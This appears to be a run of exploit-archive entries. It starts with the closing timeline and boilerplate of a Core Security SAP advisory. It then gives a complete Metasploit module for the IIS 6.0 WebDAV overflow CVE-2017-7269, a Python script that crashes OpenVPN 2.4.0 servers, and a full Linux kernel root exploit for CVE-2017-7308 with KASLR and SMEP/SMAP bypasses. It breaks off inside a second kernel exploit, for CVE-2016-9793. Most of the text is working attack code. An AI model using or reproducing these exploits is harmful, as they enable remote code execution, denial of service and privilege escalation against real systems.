2017-04-05: SAP confirmed they will be able to release the fix in May, although there could be chances to release it in April. They will confirm as soon as possible.
2017-04-05: Core Security thanked SAP for the update and asked for a security note number and CVE (if available) to include in the final advisory.
2017-04-10: SAP informed the security note for this vulnerability and confirmed they will be releasing the fix in May 9th. Core Security confirmed reception.
2017-05-08: SAP informed the release of the security note and the credits included in it. Core Security confirmed reception.
2017-05-10: Advisory CORE-2017-0001 published.
9. References

[1] http://go.sap.com/.
[2] https://launchpad.support.sap.com/#/softwarecenter/template/products/_APP=00200682500000001943%26_EVENT=DISPHIER%26HEADER=N%26FUNCTIONBAR=Y%26EVENT=TREE%26TMPL=INTRO_SWDC_SP_AD%26V=MAINT%26REFERER=CATALOG-PATCHES%26ROUTENAME=products/By%20Category%20-%20Additional%20Components.
[3] https://www.coresecurity.com/corelabs-research/publications/deep-dive-sap-archive-file-formats.
[4] https://github.com/CoreSecurity/pysap/blob/master/pysap/SAPCAR.py#L107.

10. About CoreLabs

CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://www.coresecurity.com/core-labs.

11. About Core Security

Courion and Core Security have rebranded the combined company, changing its name to Core Security, to reflect the company's strong commitment to providing enterprises with market-leading, threat-aware, identity, access and vulnerability management solutions that enable actionable intelligence and context needed to manage security risks across the enterprise. Core Security's analytics-driven approach to security enables customers to manage access and identify vulnerabilities, in order to minimize risks and maintain continuous compliance. Solutions include Multi-Factor Authentication, Provisioning, Identity Governance and Administration (IGA), Identity and Access Intelligence (IAI), and Vulnerability Management (VM). The combination of these solutions provides context and shared intelligence through analytics, giving customers a more comprehensive view of their security posture so they can make more informed, prioritized, and better security remediation decisions.

Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com.

12. Disclaimer

The contents of this advisory are copyright (c) 2017 Core Security and (c) 2017 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
'''
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => ' Microsoft IIS WebDav ScStoragePathFromUrl Overflow',
      'Description'    => %q{
          Buffer overflow in the ScStoragePathFromUrl function
          in the WebDAV service in Internet Information Services (IIS) 6.0
          in Microsoft Windows Server 2003 R2 allows remote attackers to
          execute arbitrary code via a long header beginning with
          "If: <http://" in a PROPFIND request, as exploited in the
          wild in July or August 2016.

          Original exploit by Zhiniang Peng and Chen Wu.
      },
      'Author'         =>
        [
        'Zhiniang Peng', # Original author
        'Chen Wu',       # Original author
        'Dominic Chell <dominic@mdsec.co.uk>', # metasploit module
        'firefart', # metasploit module
        'zcgonvh <zcgonvh@qq.com>', # metasploit module
        'Rich Whitcroft' # metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2017-7269' ],
          [ 'BID', '97127' ],
          [ 'URL', 'https://github.com/edwardz246003/IIS_exploit' ],
          [ 'URL', 'https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'         => 2000,
          'BadChars'      => "\x00",
          'EncoderType'   => Msf::Encoder::Type::AlphanumUnicodeMixed,
          'DisableNops'   =>  'True',
          'EncoderOptions' =>
            {
              'BufferRegister' => 'ESI',
            }
        },
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'PrependMigrate' => true,
        },
      'Targets'        =>
        [
          [
            'Microsoft Windows Server 2003 R2 SP2',
            {
              'Platform' => 'win',
            },
          ],
        ],
      'Platform'       => 'win',
      'DisclosureDate' => 'Mar 26 2017',
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']),
        OptInt.new('MINPATHLENGTH', [ true, 'Start of physical path brute force', 3 ]),
        OptInt.new('MAXPATHLENGTH', [ true, 'End of physical path brute force', 60 ]),
      ])
  end

  def min_path_len
    datastore['MINPATHLENGTH']
  end

  def max_path_len
    datastore['MAXPATHLENGTH']
  end

  def supports_webdav?(headers)
    if headers['MS-Author-Via'] == 'DAV' ||
       headers['DASL'] == '<DAV:sql>' ||
       headers['DAV'] =~ /^[1-9]+(,\s+[1-9]+)?$/ ||
       headers['Public'] =~ /PROPFIND/ ||
       headers['Allow'] =~ /PROPFIND/
      return true
    else
      return false
    end
  end

  def check
    res = send_request_cgi({
      'uri' => target_uri.path,
      'method' => 'OPTIONS'
    })
    if res && res.headers['Server'].include?('IIS/6.0') && supports_webdav?(res.headers)
      return Exploit::CheckCode::Vulnerable
    elsif res && supports_webdav?(res.headers)
      return Exploit::CheckCode::Detected
    elsif res.nil?
      return Exploit::CheckCode::Unknown
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    # extract the local servername and port from a PROPFIND request
    # these need to be the values from the backend server
    # if testing a reverse proxy setup, these values differ
    # from RHOST and RPORT but can be extracted this way
    vprint_status("Extracting ServerName and Port")
    res = send_request_raw(
      'method' => 'PROPFIND',
      'headers' => {
        'Content-Length' => 0
      },
      'uri' => target_uri.path
    )
    fail_with(Failure::BadConfig, "Server did not respond correctly to WebDAV request") if(res.nil? || res.code != 207)

    xml = res.get_xml_document
    url = URI.parse(xml.at("//a:response//a:href").text)
    server_name = url.hostname
    server_port = url.port
    server_scheme = url.scheme

    http_host = "#{server_scheme}://#{server_name}:#{server_port}"
    vprint_status("Using http_host #{http_host}")

    min_path_len.upto(max_path_len) do |path_len|
      vprint_status("Trying path length of #{path_len}...")

      begin
        buf1 = "<#{http_host}/"
        buf1 << rand_text_alpha(114 - path_len)
        buf1 << "\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac"
        buf1 << ">"
        buf1 << " (Not <locktoken:write1>) <#{http_host}/"
        buf1 << rand_text_alpha(114 - path_len)
        buf1 << "\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81"
        buf1 << payload.encoded
        buf1 << ">"

        vprint_status("Sending payload")
        res = send_request_raw(
          'method' => 'PROPFIND',
          'headers' => {
            'Content-Length' => 0,
            'If' => "#{buf1}"
          },
          'uri' => target_uri.path
        )
        if res
          vprint_status("Server returned status #{res.code}")
          if res.code == 502 || res.code == 400
            next
          elsif session_created?
            return
          else
            vprint_status("Unknown Response: #{res.code}")
          end
        end
      rescue ::Errno::ECONNRESET
        vprint_status("got a connection reset")
        next
      end
    end
  end
end
            
#!/usr/bin/env python3
'''
$ ./dos_server.py &
$ sudo ./openvpn-2.4.0/src/openvpn/openvpn conf/server-tls.conf
...
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 TLS: Initial packet from [AF_INET]192.168.149.1:64249, sid=9a6c48a6 1467f5e1
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 Assertion failed at ssl.c:3711 (buf_copy(in, buf))
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 Exiting due to fatal error
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 /sbin/route del -net 10.8.0.0 netmask 255.255.255.0
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 Closing TUN/TAP interface Fri Feb 24 10:19:19 2017 192.168.149.1:64249 /sbin/ifconfig tun0 0.0.0.0
'''

import binascii
import os
import socket
from construct import *
HOST, PORT = "192.168.0.1", 1194

SessionID = Bytes(8)

PControlV1 = Struct(
    "packet_id" / Int32ub,
    "data" / GreedyBytes
)

PAckV1 = Struct(
    "remote_session_id" / SessionID
)

PControlHardResetClientV2 = Struct(
    "packet_id" / Int32ub
)

PControlHardResetServerV2 = Struct(
    "remote_session_id" / SessionID,
    "packet_id" / Int32ub
)

OpenVPNPacket = Struct(
    EmbeddedBitStruct(
        "opcode" / Enum(BitsInteger(5),
                        P_CONTROL_HARD_RESET_CLIENT_V1=1,
                        P_CONTROL_HARD_RESET_SERVER_V1=2,
                        P_CONTROL_HARD_RESET_CLIENT_V2=7,
                        P_CONTROL_HARD_RESET_SERVER_V2=8,
                        P_CONTROL_SOFT_RESET_V1=3,
                        P_CONTROL_V1=4,
                        P_ACK_V1=5,
                        P_DATA_V1=6),
        "key_id" / BitsInteger(3)
    ),
    "session_id" / SessionID,
    "ack_packets" / PrefixedArray(Int8ub, Int32ub),
    Embedded(Switch(this.opcode,
            {
                "P_CONTROL_V1": PControlV1,
                "P_ACK_V1": PAckV1,
                "P_CONTROL_HARD_RESET_CLIENT_V2": PControlHardResetClientV2,
                "P_CONTROL_HARD_RESET_SERVER_V2": PControlHardResetServerV2
            }))
)
def main():
    session_id = os.urandom(8)

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    reset_client = OpenVPNPacket.build({
        "opcode": "P_CONTROL_HARD_RESET_CLIENT_V2",
        "key_id": 0,
        "session_id": session_id,
        "ack_packets": [],
        "packet_id": 0})

    sock.sendto(reset_client, (HOST, PORT))

    data, addr = sock.recvfrom(8192)
    reset_server = OpenVPNPacket.parse(data)

    remote_session_id = reset_server.session_id

    # ack server packet
    ack_packet = OpenVPNPacket.build({
        "opcode": "P_ACK_V1",
        "key_id": 0,
        "session_id": session_id,
        "ack_packets": [reset_server.packet_id],
        "remote_session_id": remote_session_id
    })
    sock.sendto(ack_packet, (HOST, PORT))

    control_packet = OpenVPNPacket.build({
        "opcode": "P_CONTROL_V1",
        "key_id": 0,
        "session_id": session_id,
        "ack_packets": [],
        "packet_id": 1,
        "data": b"a" * 2048})
    sock.sendto(control_packet, (HOST, PORT))

if __name__ == '__main__':
    main()
            
// A proof-of-concept local root exploit for CVE-2017-7308.
// Includes a SMEP & SMAP bypass.
// Tested on 4.8.0-41-generic Ubuntu kernel.
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308
//
// Usage:
// user@ubuntu:~$ uname -a
// Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ...
// user@ubuntu:~$ gcc pwn.c -o pwn
// user@ubuntu:~$ ./pwn 
// [.] starting
// [.] namespace sandbox set up
// [.] KASLR bypass enabled, getting kernel addr
// [.] done, kernel text:   ffffffff87000000
// [.] commit_creds:        ffffffff870a5cf0
// [.] prepare_kernel_cred: ffffffff870a60e0
// [.] native_write_cr4:    ffffffff87064210
// [.] padding heap
// [.] done, heap is padded
// [.] SMEP & SMAP bypass enabled, turning them off
// [.] done, SMEP & SMAP should be off now
// [.] executing get root payload 0x401516
// [.] done, should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// root@ubuntu:/home/user# cat /etc/shadow
// root:!:17246:0:99999:7:::
// daemon:*:17212:0:99999:7:::
// bin:*:17212:0:99999:7:::
// ...
//
// Andrey Konovalov <andreyknvl@gmail.com>

#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>

#include <sys/ioctl.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <netinet/if_ether.h>
#include <net/if.h>

#define ENABLE_KASLR_BYPASS	1
#define ENABLE_SMEP_SMAP_BYPASS	1

// Will be overwritten if ENABLE_KASLR_BYPASS
unsigned long KERNEL_BASE = 	0xffffffff81000000ul;

// Kernel symbol offsets
#define COMMIT_CREDS		0xa5cf0ul
#define PREPARE_KERNEL_CRED	0xa60e0ul
#define NATIVE_WRITE_CR4	0x64210ul

// Should have SMEP and SMAP bits disabled
#define CR4_DESIRED_VALUE	0x407f0ul

#define KMALLOC_PAD		512
#define PAGEALLOC_PAD		1024

// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *

typedef uint32_t u32;

// $ pahole -C hlist_node ./vmlinux
struct hlist_node {
	struct hlist_node *        next;                 /*     0     8 */
	struct hlist_node * *      pprev;                /*     8     8 */
};

// $ pahole -C timer_list ./vmlinux
struct timer_list {
	struct hlist_node          entry;                /*     0    16 */
	long unsigned int          expires;              /*    16     8 */
	void                       (*function)(long unsigned int); /*    24     8 */
	long unsigned int          data;                 /*    32     8 */
	u32                        flags;                /*    40     4 */
	int                        start_pid;            /*    44     4 */
	void *                     start_site;           /*    48     8 */
	char                       start_comm[16];       /*    56    16 */
};

// packet_sock->rx_ring->prb_bdqc->retire_blk_timer
#define TIMER_OFFSET	896

// pakcet_sock->xmit
#define XMIT_OFFSET	1304

// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *

void packet_socket_rx_ring_init(int s, unsigned int block_size,
		unsigned int frame_size, unsigned int block_nr,
		unsigned int sizeof_priv, unsigned int timeout) {
	int v = TPACKET_V3;
	int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
	if (rv < 0) {
		perror("[-] setsockopt(PACKET_VERSION)");
		exit(EXIT_FAILURE);
	}

	struct tpacket_req3 req;
	memset(&req, 0, sizeof(req));
	req.tp_block_size = block_size;
	req.tp_frame_size = frame_size;
	req.tp_block_nr = block_nr;
	req.tp_frame_nr = (block_size * block_nr) / frame_size;
	req.tp_retire_blk_tov = timeout;
	req.tp_sizeof_priv = sizeof_priv;
	req.tp_feature_req_word = 0;

	rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
	if (rv < 0) {
		perror("[-] setsockopt(PACKET_RX_RING)");
		exit(EXIT_FAILURE);
	}
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
		unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
	int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if (s < 0) {
		perror("[-] socket(AF_PACKET)");
		exit(EXIT_FAILURE);
	}

	packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
		sizeof_priv, timeout);

	struct sockaddr_ll sa;
	memset(&sa, 0, sizeof(sa));
	sa.sll_family = PF_PACKET;
	sa.sll_protocol = htons(ETH_P_ALL);
	sa.sll_ifindex = if_nametoindex("lo");
	sa.sll_hatype = 0;
	sa.sll_pkttype = 0;
	sa.sll_halen = 0;

	int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
	if (rv < 0) {
		perror("[-] bind(AF_PACKET)");
		exit(EXIT_FAILURE);
	}

	return s;
}

void packet_socket_send(int s, char *buffer, int size) {
	struct sockaddr_ll sa;
	memset(&sa, 0, sizeof(sa));
	sa.sll_ifindex = if_nametoindex("lo");
	sa.sll_halen = ETH_ALEN;

	if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
			sizeof(sa)) < 0) {
		perror("[-] sendto(SOCK_RAW)");
		exit(EXIT_FAILURE);
	}
}

void loopback_send(char *buffer, int size) {
	int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (s == -1) {
		perror("[-] socket(SOCK_RAW)");
		exit(EXIT_FAILURE);
	}

	packet_socket_send(s, buffer, size);
}

int packet_sock_kmalloc() {
	int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
	if (s == -1) {
		perror("[-] socket(SOCK_DGRAM)");
		exit(EXIT_FAILURE);
	}
	return s;
}

void packet_sock_timer_schedule(int s, int timeout) {
	packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
}

void packet_sock_id_match_trigger(int s) {
	char buffer[16];
	packet_socket_send(s, &buffer[0], sizeof(buffer));
}

// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *

#define ALIGN(x, a)			__ALIGN_KERNEL((x), (a))
#define __ALIGN_KERNEL(x, a)		__ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
#define __ALIGN_KERNEL_MASK(x, mask)	(((x) + (mask)) & ~(mask))

#define V3_ALIGNMENT	(8)
#define BLK_HDR_LEN	(ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))

#define ETH_HDR_LEN	sizeof(struct ethhdr)
#define IP_HDR_LEN	sizeof(struct iphdr)
#define UDP_HDR_LEN	sizeof(struct udphdr)

#define UDP_HDR_LEN_FULL	(ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)

int oob_setup(int offset) {
	unsigned int maclen = ETH_HDR_LEN;
	unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
				(maclen < 16 ? 16 : maclen));
	unsigned int macoff = netoff - maclen;
	unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
		0x8000 - BLK_HDR_LEN - macoff + offset;
	return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
}

void oob_write(char *buffer, int size) {
	loopback_send(buffer, size);
}

void oob_timer_execute(void *func, unsigned long arg) {
	oob_setup(2048 + TIMER_OFFSET - 8);

	int i;
	for (i = 0; i < 32; i++) {
		int timer = packet_sock_kmalloc();
		packet_sock_timer_schedule(timer, 1000);
	}

	char buffer[2048];
	memset(&buffer[0], 0, sizeof(buffer));

	struct timer_list *timer = (struct timer_list *)&buffer[8];
	timer->function = func;
	timer->data = arg;
	timer->flags = 1;

	oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);

	sleep(1);
}

void oob_id_match_execute(void *func) {
	int s = oob_setup(2048 + XMIT_OFFSET - 64);

	int ps[32];

	int i;
	for (i = 0; i < 32; i++)
		ps[i] = packet_sock_kmalloc();

	char buffer[2048];
	memset(&buffer[0], 0, 2048);

	void **xmit = (void **)&buffer[64];
	*xmit = func;

	oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);

	for (i = 0; i < 32; i++)
		packet_sock_id_match_trigger(ps[i]);
}

// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *

void kmalloc_pad(int count) {
	int i;
	for (i = 0; i < count; i++)
		packet_sock_kmalloc();
}

void pagealloc_pad(int count) {
	packet_socket_setup(0x8000, 2048, count, 0, 100);
}

// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *

typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

void get_root_payload(void) {
	((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))(
		((_prepare_kernel_cred)(KERNEL_BASE + PREPARE_KERNEL_CRED))(0)
	);
}

// * * * * * * * * * * * * * Simple KASLR bypass * * * * * * * * * * * * * * *

#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10

unsigned long get_kernel_addr() {
	int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
	if (size == -1) {
		perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)");
		exit(EXIT_FAILURE);
	}

	size = (size / getpagesize() + 1) * getpagesize();
	char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE,
		MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

	size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size);
	if (size == -1) {
		perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)");
		exit(EXIT_FAILURE);
	}

	const char *needle1 = "Freeing SMP";
	char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1));
	if (substr == NULL) {
		fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle1);
		exit(EXIT_FAILURE);
	}

	for (size = 0; substr[size] != '\n'; size++);

	const char *needle2 = "ffff";
	substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2));
	if (substr == NULL) {
		fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle2);
		exit(EXIT_FAILURE);
	}

	char *endptr = &substr[16];
	unsigned long r = strtoul(&substr[0], &endptr, 16);

	r &= 0xfffffffffff00000ul;
	r -= 0x1000000ul;

	return r;
}

// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *

void exec_shell() {
	char *shell = "/bin/bash";
	char *args[] = {shell, "-i", NULL};
	execve(shell, args, NULL);
}

void fork_shell() {
	pid_t rv;

	rv = fork();
	if (rv == -1) {
		perror("[-] fork()");
		exit(EXIT_FAILURE);
	}

	if (rv == 0) {
		exec_shell();
	}
}

bool is_root() {
	// We can't simple check uid, since we're running inside a namespace
	// with uid set to 0. Try opening /etc/shadow instead.
	int fd = open("/etc/shadow", O_RDONLY);
	if (fd == -1)
		return false;
	close(fd);
	return true;
}

void check_root() {
	printf("[.] checking if we got root\n");

	if (!is_root()) {
		printf("[-] something went wrong =(\n");
		return;
	}

	printf("[+] got r00t ^_^\n");

	// Fork and exec instead of just doing the exec to avoid potential
	// memory corruptions when closing packet sockets.
	fork_shell();
}

bool write_file(const char* file, const char* what, ...) {
	char buf[1024];
	va_list args;
	va_start(args, what);
	vsnprintf(buf, sizeof(buf), what, args);
	va_end(args);
	buf[sizeof(buf) - 1] = 0;
	int len = strlen(buf);

	int fd = open(file, O_WRONLY | O_CLOEXEC);
	if (fd == -1)
		return false;
	if (write(fd, buf, len) != len) {
		close(fd);
		return false;
	}
	close(fd);
	return true;
}

void setup_sandbox() {
	int real_uid = getuid();
	int real_gid = getgid();

        if (unshare(CLONE_NEWUSER) != 0) {
		perror("[-] unshare(CLONE_NEWUSER)");
		exit(EXIT_FAILURE);
	}

        if (unshare(CLONE_NEWNET) != 0) {
		perror("[-] unshare(CLONE_NEWUSER)");
		exit(EXIT_FAILURE);
	}

	if (!write_file("/proc/self/setgroups", "deny")) {
		perror("[-] write_file(/proc/self/set_groups)");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
		perror("[-] write_file(/proc/self/uid_map)");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
		perror("[-] write_file(/proc/self/gid_map)");
		exit(EXIT_FAILURE);
	}

	cpu_set_t my_set;
	CPU_ZERO(&my_set);
	CPU_SET(0, &my_set);
	if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
		perror("[-] sched_setaffinity()");
		exit(EXIT_FAILURE);
	}

	if (system("/sbin/ifconfig lo up") != 0) {
		perror("[-] system(/sbin/ifconfig lo up)");
		exit(EXIT_FAILURE);
	}
}

int main() {
	printf("[.] starting\n");

	setup_sandbox();

	printf("[.] namespace sandbox set up\n");

#if ENABLE_KASLR_BYPASS
	printf("[.] KASLR bypass enabled, getting kernel addr\n");
	KERNEL_BASE = get_kernel_addr();
	printf("[.] done, kernel text:   %lx\n", KERNEL_BASE);
#endif

	printf("[.] commit_creds:        %lx\n", KERNEL_BASE + COMMIT_CREDS);
	printf("[.] prepare_kernel_cred: %lx\n", KERNEL_BASE + PREPARE_KERNEL_CRED);

#if ENABLE_SMEP_SMAP_BYPASS
	printf("[.] native_write_cr4:    %lx\n", KERNEL_BASE + NATIVE_WRITE_CR4);
#endif

	printf("[.] padding heap\n");
	kmalloc_pad(KMALLOC_PAD);
	pagealloc_pad(PAGEALLOC_PAD);
	printf("[.] done, heap is padded\n");

#if ENABLE_SMEP_SMAP_BYPASS
	printf("[.] SMEP & SMAP bypass enabled, turning them off\n");
	oob_timer_execute((void *)(KERNEL_BASE + NATIVE_WRITE_CR4), CR4_DESIRED_VALUE);
	printf("[.] done, SMEP & SMAP should be off now\n");
#endif

	printf("[.] executing get root payload %p\n", &get_root_payload);
	oob_id_match_execute((void *)&get_root_payload);
	printf("[.] done, should be root now\n");

	check_root();

	while (1) sleep(1000);

	return 0;
}
            
// CAP_NET_ADMIN -> root LPE exploit for CVE-2016-9793
// No KASLR, SMEP or SMAP bypass included
// Affected kernels: 3.11 -> 4.8
// Tested in QEMU only
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793
//
// Usage:
// # gcc -pthread exploit.c -o exploit
// # chown guest:guest exploit
// # setcap cap_net_admin+ep ./exploit
// # su guest
// $ whoami
// guest
// $ ./exploit
// [.] userspace payload mmapped at 0xfffff000
// [.] overwriting thread started
// [.] sockets opened
// [.] sock->sk_sndbuf set to fffffe00
// [.] writing to socket
// [+] got r00t
// # whoami
// root
//
// Andrey Konovalov <andreyknvl@gmail.com>

#define _GNU_SOURCE

#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mman.h>

#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define COMMIT_CREDS 0xffffffff81079860ul
#define PREPARE_KERNEL_CRED 0xffffffff81079b20ul

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;

void get_root(void) {
 	commit_creds(prepare_kernel_cred(0));
}

struct ubuf_info_t {
  uint64_t callback;        // void (*callback)(struct ubuf_info *, bool)
  uint64_t ctx;             // void *
  uint64_t desc;            // unsigned long
};

struct skb_shared_info_t {
  uint8_t  nr_frags;        // unsigned char
  uint8_t  tx_flags;        // __u8
  uint16_t gso_size;        // unsigned short
  uint16_t gso_segs;        // unsigned short
  uint16_t gso_type;        // unsigned short
  uint64_t frag_list;       // struct sk_buff *
  uint64_t hwtstamps;       // struct skb_shared_hwtstamps
  uint32_t tskey;           // u32
  uint32_t ip6_frag_id;     // __be32
  uint32_t dataref;         // atomic_t
  uint64_t destructor_arg;  // void *
  uint8_t  frags[16][17];   // skb_frag_t frags[MAX_SKB_FRAGS];
};

// sk_sndbuf = 0xffffff00 => skb_shinfo(skb) = 0x00000000fffffed0
#define SNDBUF 0xffffff00
#define SHINFO 0x00000000fffffed0ul

struct ubuf_info_t ubuf_info = {(uint64_t)&get_root, 0, 0};
//struct ubuf_info_t ubuf_info = {0xffffdeaddeadbeeful, 0, 0};
struct skb_shared_info_t *skb_shared_info = (struct skb_shared_info_t *)SHINFO;

#define SKBTX_DEV_ZEROCOPY (1 << 3)

void* skb_thr(void* arg) {
